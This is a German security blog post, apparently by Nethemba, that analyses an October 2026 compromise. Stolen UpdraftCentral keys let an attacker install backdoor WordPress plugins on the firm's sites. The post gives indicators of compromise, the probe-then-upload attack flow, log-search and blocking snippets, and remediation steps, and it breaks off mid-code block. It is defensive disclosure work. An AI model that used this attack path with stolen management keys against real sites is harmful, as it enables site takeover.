{"id":9628,"date":"2026-10-19T07:44:04","date_gmt":"2026-10-19T05:44:04","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-analyse\/"},"modified":"2026-10-19T17:03:25","modified_gmt":"2026-10-19T15:03:25","slug":"updraftcentral-backdoor-analyse","status":"publish","type":"post","link":"https:\/\/nethemba.com\/de\/updraftcentral-backdoor-analyse\/","title":{"rendered":"Kritisches Sicherheitsproblem bei UpdraftCentral: Ein Angreifer mit den Schl\u00fcsseln des Dienstes installierte eine Hintert\u00fcr auf unseren Websites"},"content":{"rendered":"<h2 id=\"zusammenfassung\">Zusammenfassung<\/h2>\n<p><em>Stand: 19. Oktober 2026, zuletzt aktualisiert am 19.10.2026 (Stellungnahme des Herstellers). Die Liste der \u00c4nderungen steht am Ende des Artikels. Wir erg\u00e4nzen den Text, wenn es Neuigkeiten gibt.<\/em><\/p>\n<p><strong>Aktualisierung 19.10.2026:<\/strong> TeamUpdraft hat <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">einen Sicherheitsvorfall best\u00e4tigt<\/a>. Am Wochenende des 17. und 18. Oktober hatte ein Angreifer unbefugten Zugriff auf teamupdraft.com und hat laut Hersteller wahrscheinlich die Kundendatenbank erbeutet: Namen, E-Mail-Adressen, Rechnungsadressen, Bestellhistorie, Passwort-Hashes, Einstellungen der Zwei-Faktor-Authentifizierung sowie die Verbindungsschl\u00fcssel f\u00fcr UpdraftCentral (Cloud), UpdraftVault und UpdraftClone. Die Schl\u00fcssel, mit denen der Angreifer seine Befehle signierte, stammen also direkt vom Hersteller. Der Hersteller hat alle Konten abgemeldet, die Schl\u00fcssel f\u00fcr UpdraftVault und UpdraftClone ersetzt und bereitet eine Notfallversion von UpdraftPlus vor, die alle UpdraftCentral-Verbindungen automatisch trennt, die vor dem 18.10.2026 um 22:00 BST (23:00 MESZ) angelegt wurden. Selbst gehostete UpdraftCentral-Dashboards sind laut Hersteller nicht betroffen.<\/p>\n<p><strong>Aktualisierung 19.10.2026 (abends):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack hat eine eigene Analyse ver\u00f6ffentlicht<\/a>, die unsere Ergebnisse best\u00e4tigt und erweitert. Patchstack sah 99 verschiedene Namen von Hintert\u00fcr-Plugins, installiert zwischen dem 18.10. um 15:32 und dem 19.10. um 9:23, sowie eine zweite IP-Adresse des Angreifers, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Auch weitere betroffene Administratoren haben sich gemeldet. Einer von ihnen fand eine <strong>zweite Variante der Hintert\u00fcr, die einen versteckten Administrator anlegt<\/strong>. Wir beschreiben sie unten und haben das Pr\u00fcfskript so angepasst, dass es sie erkennt. Wenn Sie das Skript schon fr\u00fcher ausgef\u00fchrt haben, f\u00fchren Sie es erneut aus.<\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>Betroffen<\/strong><\/td>\n<td>der Dienst UpdraftCentral, dessen Client Bestandteil des Plugins UpdraftPlus ist, kostenlos wie Premium<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Betroffene Versionen<\/strong><\/td>\n<td>alle UpdraftPlus-Versionen, die \u00fcber eine vor dem 18.10.2026 um 23:00 MESZ angelegte Verbindung mit UpdraftCentral Cloud verbunden sind, einschlie\u00dflich der neuesten 1.26.11 und 2.26.11. Bei verbundenen Websites mit Versionen bis 1.26.4 und 2.26.4 braucht ein Angreifer nicht einmal g\u00fcltige Schl\u00fcssel (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Wie viele Websites<\/strong><\/td>\n<td>UpdraftPlus hat laut wordpress.org \u00fcber 4 Millionen aktive Installationen, und der Hersteller bezeichnet es als das weltweit beliebteste Plugin f\u00fcr geplante Backups. Beim Juni-Fehler im selben Kanal sch\u00e4tzte der Hersteller, dass weniger als 10 % der Nutzer einen UpdraftCentral- oder Migrator-Schl\u00fcssel haben, also bis zu rund 400.000 Websites. Wie viele davon der Angreifer getroffen hat, wissen wir nicht.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Fix<\/strong><\/td>\n<td>der Hersteller bereitet eine Notfallversion von UpdraftPlus vor, die alle vor dem 18.10.2026 um 23:00 MESZ angelegten UpdraftCentral-Verbindungen automatisch trennt. Bis dahin die Schl\u00fcssel von Hand l\u00f6schen.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>\u00dcbergangsl\u00f6sung<\/strong><\/td>\n<td>die UpdraftCentral-Verbindung entfernen, die Website mit unserem Skript pr\u00fcfen, das Passwort f\u00fcr teamupdraft.com \u00e4ndern und optional UpdraftCentral-Befehle mit einem kleinen mu-Plugin sperren (siehe unten). UpdraftPlus muss nicht deinstalliert werden, Backups funktionieren weiter.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>In der Nacht zum 19. Oktober 2026 schickte ein Angreifer von der IP-Adresse <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> \u00fcber den Dienst UpdraftCentral den Befehl <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> an drei unserer WordPress-Websites. UpdraftCentral ist ein Dienst zur Fernverwaltung von Websites von TeamUpdraft, und sein Client steckt in jeder Kopie des Plugins UpdraftPlus. Auf zwei unserer Websites ging der Befehl durch, und WordPress installierte und aktivierte ein unbekanntes Plugin. Auf der dritten scheiterte er an den Berechtigungen.<\/p>\n<p>Der Fehler lag nicht bei uns. Alle drei Websites liefen mit dem aktuellen WordPress 7.1.3 und UpdraftPlus 2.26.11, das gegen die Juni-Schwachstelle CVE-2026-10795 gepatcht ist. Der Angreifer ist nicht in unsere Server eingedrungen und hat keine Schw\u00e4che in unserer Konfiguration ausgenutzt. Er kam \u00fcber den Fernverwaltungskanal von UpdraftCentral und signierte seine Befehle mit g\u00fcltigen privaten Dashboard-Schl\u00fcsseln. Diese erzeugt und verwahrt der Dienst UpdraftCentral Cloud, auf unseren Servern waren sie nie. Wer sie besitzt, kann auf jeder verbundenen Website ohne Wissen des Betreibers beliebigen Code installieren und ausf\u00fchren. Deshalb halten wir das f\u00fcr ein kritisches Sicherheitsproblem des Dienstes UpdraftCentral.<\/p>\n<p><strong>Wer gef\u00e4hrdet ist:<\/strong> jede Website mit UpdraftPlus, kostenlos oder Premium, die mit UpdraftCentral verbunden ist, also einen UpdraftCentral-Schl\u00fcssel hat. Jede der \u00fcber 4 Millionen UpdraftPlus-Installationen enth\u00e4lt den UpdraftCentral-Client. Websites, die nicht mit UpdraftCentral verbunden sind, gef\u00e4hrdet dieser Angriff nicht, weil sie ohne Schl\u00fcssel keine UpdraftCentral-Befehle annehmen. Unsere Websites waren mit UpdraftCentral Cloud verbunden, dem von TeamUpdraft betriebenen Dashboard. Laut Hersteller sind selbst gehostete UpdraftCentral-Dashboards nicht betroffen. Abgeflossen sind aber auch die Schl\u00fcssel f\u00fcr UpdraftVault und UpdraftClone, die der Hersteller inzwischen ersetzt hat.<\/p>\n<p>Es handelt sich nicht um die Schwachstelle CVE-2026-10795, \u00fcber die Wordfence im Juni berichtete: Gegen sie waren unsere Websites gepatcht, und Versuche, sie auszunutzen, schlugen dort fehl.<\/p>\n<p>Das Plugin ist eine Hintert\u00fcr. \u00dcber einen geheimen Link sollte es ein Konto mit getarnten Administratorrechten anlegen und den Angreifer direkt darin anmelden. Der Autor hat jedoch einen Fehler in den Code eingebaut, sodass die Hintert\u00fcr nie funktionierte. Stattdessen brachte sie jede Anfrage an die Website zum Absturz, die nicht aus dem Cache kam, und WordPress schickte uns dar\u00fcber eine E-Mail. So fanden wir sie innerhalb von Minuten bis Stunden.<\/p>\n<p>Wir haben den Vorfall am 19. Oktober an TeamUpdraft gemeldet und um eine Erkl\u00e4rung gebeten, wie die Schl\u00fcssel zum Angreifer gelangt sind.<\/p>\n<p><strong>Wenn Ihre Website mit UpdraftCentral verbunden ist, betrachten Sie sie als potenziell kompromittiert, bis Sie sie gepr\u00fcft haben.<\/strong> Entfernen Sie die Verbindung sofort und pr\u00fcfen Sie die Website wie unten beschrieben. Stand 19. Oktober 2026 haben wir keine \u00f6ffentliche Erw\u00e4hnung dieser Hintert\u00fcr oder eines \u00e4hnlichen Angriffs nach dem Juni-Fix gefunden.<\/p>\n<h2 id=\"was-sie-jetzt-tun-sollten\">Was Sie jetzt tun sollten<\/h2>\n<h3 id=\"entfernen-sie-die-updraftcentral-verbindung\">1. Entfernen Sie die UpdraftCentral-Verbindung<\/h3>\n<p>\u00d6ffnen Sie im WordPress-Admin Einstellungen \u2192 UpdraftPlus Backups \u2192 Reiter \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Klicken Sie auf \u201eManage existing keys (N)\u2026\u201c und bei jedem Schl\u00fcssel auf \u201eDelete\u2026\u201c. Steht dort kein Schl\u00fcssel, ist die Website nicht verbunden.<\/p>\n<p>Mit Zugriff auf die Kommandozeile erledigt das derselbe Befehl im WordPress-Stammverzeichnis:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Entfernen Sie die Website danach auch im UpdraftCentral-Dashboard (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 bei der Website \u2192 Remove site). Das Entfernen im Dashboard allein reicht nicht. Der Angreifer hat den privaten Schl\u00fcssel des Dashboards, entscheidend ist also das L\u00f6schen des Schl\u00fcssels auf der Website.<\/p>\n<p>Laut Hersteller k\u00f6nnen Sie die Website wieder verbinden, nachdem Sie den Schl\u00fcssel gel\u00f6scht, die Website gepr\u00fcft und die Administrator-Passw\u00f6rter ge\u00e4ndert haben. \u00c4ndern Sie vorher Ihr Passwort f\u00fcr teamupdraft.com (Adresse selbst in den Browser eingeben, keinem Link aus einer E-Mail folgen), \u00e4ndern Sie dasselbe Passwort \u00fcberall, wo Sie es verwendet haben, und richten Sie die Zwei-Faktor-Authentifizierung neu ein. Falls Sie unser Sperr-mu-Plugin eingesetzt haben, entfernen Sie es vor dem erneuten Verbinden. Wer UpdraftVault nutzt, muss seine Websites mit den neuen Zugangsdaten neu verbinden.<\/p>\n<h3 id=\"pr\u00fcfen-sie-ob-die-hintert\u00fcr-auf-ihrer-website-ist\">2. Pr\u00fcfen Sie, ob die Hintert\u00fcr auf Ihrer Website ist<\/h3>\n<p>Ohne Kommandozeile:<\/p>\n<ul>\n<li>Klicken Sie auf demselben UpdraftCentral-Bildschirm auf \u201eView recent UpdraftCentral log events\u2026\u201c. Suchen Sie nach den Zeilen \u201eCommand received: plugin.upload_plugin\u201c und \u201eprobe.central.updraftplus.com\u201c.<\/li>\n<li>Suchen Sie in der Plugin-Liste nach einem Plugin mit der Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c und einem Namen aus zwei W\u00f6rtern und drei Zeichen, zum Beispiel \u201eLoad Stack 35C\u201c.<\/li>\n<li>Ein Plugin mit der Beschreibung \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c ist die zweite Variante. Ihr Konto erscheint nicht in der Benutzerliste, pr\u00fcfen Sie die Website daher auch mit dem Skript.<\/li>\n<li>Suchen Sie in der Benutzerliste nach einem Konto mit dem Namen \u201eSite Tools\u201c oder einer E-Mail-Adresse bei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code>.<\/li>\n<\/ul>\n<p>Ist die Hintert\u00fcr auf der Website, funktioniert der Admin wom\u00f6glich gar nicht, weil das Plugin jede Anfrage abst\u00fcrzen l\u00e4sst. Verwenden Sie dann die Kommandozeile.<\/p>\n<p>Mit Kommandozeile speichern Sie unser Pr\u00fcfskript vom Ende dieses Artikels als <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> im WordPress-Stammverzeichnis und f\u00fchren aus:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>Das Skript liest nur und \u00e4ndert nichts. Der Schalter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> ist wichtig, weil eine installierte Hintert\u00fcr sonst auch WP-CLI abst\u00fcrzen l\u00e4sst. Zeilen mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> sind Spuren des Angriffs, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> hei\u00dft pr\u00fcfen, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> ist ein sauberes Ergebnis. Ein protokollierter Befehl hei\u00dft noch nicht, dass das Plugin installiert wurde (auf einer unserer Websites wurde es das nicht), deshalb pr\u00fcft das Skript auch Dateien, Datenbankoptionen und Konten. Meldet es etwas mit <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, lesen Sie weiter bei \u201eWas tun, wenn Sie sie finden\u201c.<\/p>\n<p>UpdraftPlus speichert im UpdraftCentral-Log nur die letzten 50 Ereignisse. Auf einer Website, die Scanner h\u00e4ufig besuchen, kann der Eintrag \u00fcber den Angriff aus dem Log fallen, und das Skript meldet dann beim Log <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code>. Wenn Sie Zugriff auf die Logs des Webservers haben, durchsuchen Sie auch diese (Pfad an Ihren Server anpassen, bei nginx etwa <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Der Befehl findet UpdraftCentral-Anfragen ohne Bibliotheksversion im User-Agent-Header, wie sie der Angreifer geschickt hat. Das echte Dashboard sendet <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, der Befehl erfasst es also nicht.<\/p>\n<h3 id=\"optional-sperren-sie-updraftcentral-befehle-vollst\u00e4ndig\">3. Optional: Sperren Sie UpdraftCentral-Befehle vollst\u00e4ndig<\/h3>\n<p>Wenn Sie sicher sein wollen, dass die Website keinen UpdraftCentral-Befehl ausf\u00fchrt, selbst wenn noch ein Schl\u00fcssel darauf liegt, speichern Sie im Verzeichnis <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> eine Datei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> mit diesem Inhalt:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n    http_response_code( 403 );\n    exit;\n}<\/code><\/pre>\n<p>WordPress l\u00e4dt Dateien in <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> vor den regul\u00e4ren Plugins, die Anfrage endet also, bevor UpdraftPlus sie verarbeitet. Das sperrt auch die Migration von Websites \u00fcber UpdraftPlus Migrator, der denselben Kanal nutzt. L\u00f6schen Sie die Datei, sobald der Hersteller das Problem erkl\u00e4rt und behoben hat.<\/p>\n<h2 id=\"wie-wir-darauf-gesto\u00dfen-sind\">Wie wir darauf gesto\u00dfen sind<\/h2>\n<p>Um 5:38 erhielten wir eine automatische WordPress-E-Mail: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Ein Plugin dieses Namens hatten wir nie installiert. Die Fehlermeldung lautete <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, und seit 4:14 beantwortete unsere Website jede Anfrage mit Fehler 500.<\/p>\n<p>Alle Dateien im Verzeichnis <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> hatten dieselbe \u00c4nderungszeit, 4:14:30. Eine Sekunde sp\u00e4ter \u00e4nderte sich das Verzeichnis <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, das WordPress zum Entpacken installierter Plugins nutzt. Das Plugin kam also \u00fcber den regul\u00e4ren WordPress-Installer, nicht als auf die Platte gelegte Datei. Genau in dieser Sekunde steht im Access-Log eine einzige Anfrage:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> ist die Bibliothek, \u00fcber die UpdraftPlus Befehle von UpdraftCentral empf\u00e4ngt. Ihr eigenes Log (die Datenbankoption <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code>) best\u00e4tigte es: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"zeitablauf\">Zeitablauf<\/h2>\n<p>Wir bezeichnen die Websites als A, B und C. Alle Zeiten in MESZ. Alle Anfragen kamen von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (Hoster RedSwitches) mit dem User-Agent-Header <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Website<\/th>\n<th>Sondierung<\/th>\n<th>Plugin-Installation<\/th>\n<th>Ergebnis<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Website C<\/td>\n<td>19.10. 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>gescheitert, der Schl\u00fcssel geh\u00f6rte einem Benutzer ohne Recht, Plugins zu installieren<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Website A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>Hintert\u00fcr \u201eLoad Stack 35C\u201c aktiv, Website bis 6:13 nicht erreichbar<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Website B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>Hintert\u00fcr \u201eText Gantry Eb0\u201c aktiv, um 6:56 entfernt<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Die Sondierung ist eine Nachricht an einen nicht existierenden Schl\u00fcssel, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. Die Website antwortet, dass sie die Nachricht nicht versteht, und verr\u00e4t damit, dass sie UpdraftCentral-Befehle annimmt. Den n\u00e4chsten Befehl schickte der Angreifer bereits an den echten Schl\u00fcssel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. Auf allen drei Websites lief der Angriff gleich ab, vom selben Angreifer, im Abstand weniger Stunden.<\/p>\n<h2 id=\"wie-der-angriff-ablief\">Wie der Angriff ablief<\/h2>\n<p>Beim Verbinden mit UpdraftCentral erzeugt die Website ein RSA-Schl\u00fcsselpaar und schickt den \u00f6ffentlichen Schl\u00fcssel an den Dienst UpdraftCentral Cloud. Der Dienst hat ein eigenes Schl\u00fcsselpaar und schickt der Website nur seinen \u00f6ffentlichen Schl\u00fcssel. Der private Schl\u00fcssel des Dashboards bleibt beim Dienst. Jeder Befehl muss f\u00fcr den Schl\u00fcssel der Website verschl\u00fcsselt und mit dem privaten Schl\u00fcssel des Dashboards signiert sein. Die Website f\u00fchrt ihn dann mit den Rechten des Benutzers aus, der den Schl\u00fcssel in WordPress angelegt hat.<\/p>\n<p>Der Befehl <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> bestand auf zwei Websites diese gesamte Pr\u00fcfung. Website A haben wir im Detail untersucht und folgende Erkl\u00e4rungen ausgeschlossen:<\/p>\n<ol type=\"1\">\n<li><strong>Die bekannte Schwachstelle CVE-2026-10795.<\/strong> Sie betrifft UpdraftPlus bis 1.26.4 (Premium bis 2.26.4). Unsere Websites liefen mit 2.26.11. Ausnutzungsversuche sehen wir in den Logs der Websites B und C seit Juni, von Dutzenden IP-Adressen, und alle endeten mit \u201eCould not decrypt incoming message\u201c.<\/li>\n<li><strong>Ein ver\u00e4ndertes Plugin.<\/strong> Die Dateien <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> sind Byte f\u00fcr Byte identisch mit der offiziellen Version 1.26.11 von wordpress.org.<\/li>\n<li><strong>Das \u00e4ltere unsignierte Nachrichtenformat.<\/strong> Der Code lehnt es f\u00fcr UpdraftCentral-Schl\u00fcssel ab, und der Eintrag \u201eCommand received\u201c entsteht erst nach dieser Pr\u00fcfung.<\/li>\n<li><strong>Ein untergeschobener Dashboard-Schl\u00fcssel.<\/strong> Die Schl\u00fcssel-Fingerabdr\u00fccke sind in den t\u00e4glichen Backups vom 15. bis 18. Oktober und in der Live-Datenbank gleich, und in den Access-Logs hat niemand die Funktion zum Schl\u00fcsseltausch aufgerufen.<\/li>\n<li><strong>Schwache Kryptografie.<\/strong> Website- und Dashboard-Schl\u00fcssel sind RSA mit 2048 Bit und Exponent 65537, und UpdraftPlus enth\u00e4lt phpseclib 2.0.55, in dem der bekannte Fehler bei der Signaturpr\u00fcfung behoben ist.<\/li>\n<li><strong>Ein kompromittierter wp-admin.<\/strong> Es sind keine unbekannten Administratoren hinzugekommen, die Pr\u00fcfsummen von Kern und Plugins stimmen, und die Logs zeigen keinen Plugin-Upload \u00fcber den Admin.<\/li>\n<\/ol>\n<p>Der Angreifer besa\u00df also die privaten Dashboard-Schl\u00fcssel aller drei Verbindungen gleichzeitig. Auf unseren Servern waren diese Schl\u00fcssel nie, sie konnten von dort also nicht abflie\u00dfen. Die Befehle kamen auch nicht von einem Server von TeamUpdraft. Das echte Dashboard schickte im M\u00e4rz und April 2026 Befehle an Website B mit diesem User-Agent-Header:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit 